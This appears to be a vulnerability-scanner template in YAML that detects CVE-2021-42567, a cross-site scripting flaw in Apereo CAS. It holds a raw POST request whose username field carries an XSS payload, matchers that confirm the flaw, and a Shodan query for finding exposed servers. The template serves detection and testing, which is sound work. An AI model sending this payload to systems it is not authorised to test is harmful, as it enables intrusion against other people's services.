51 lines
1.6 KiB
YAML
51 lines
1.6 KiB
YAML
id: CVE-2021-42567
|
|
|
|
info:
|
|
name: Apereo CAS Cross-Site Scripting
|
|
author: pdteam
|
|
severity: medium
|
|
description: Apereo CAS through 6.4.1 allows cross-site scripting via POST requests sent to the REST API endpoints.
|
|
remediation: |
|
|
Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
|
|
reference:
|
|
- https://apereo.github.io/2021/10/18/restvuln/
|
|
- https://www.sudokaikan.com/2021/12/exploit-cve-2021-42567-post-based-xss.html
|
|
- https://github.com/sudohyak/exploit/blob/dcf04f704895fe7e042a0cfe9c5ead07797333cc/CVE-2021-42567/README.md
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-42567
|
|
- https://github.com/apereo/cas/releases
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-42567
|
|
cwe-id: CWE-79
|
|
epss-score: 0.25981
|
|
epss-percentile: 0.96155
|
|
cpe: cpe:2.3:a:apereo:central_authentication_service:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: apereo
|
|
product: central_authentication_service
|
|
shodan-query: http.title:'CAS - Central Authentication Service'
|
|
tags: cve,cve2021,apereo,xss,cas
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /cas/v1/tickets/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
username=%3Cimg%2Fsrc%2Fonerror%3Dalert%28document.domain%29%3E&password=test
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- '<img/src/onerror=alert(document.domain)>'
|
|
- 'java.util.HashMap'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 401
|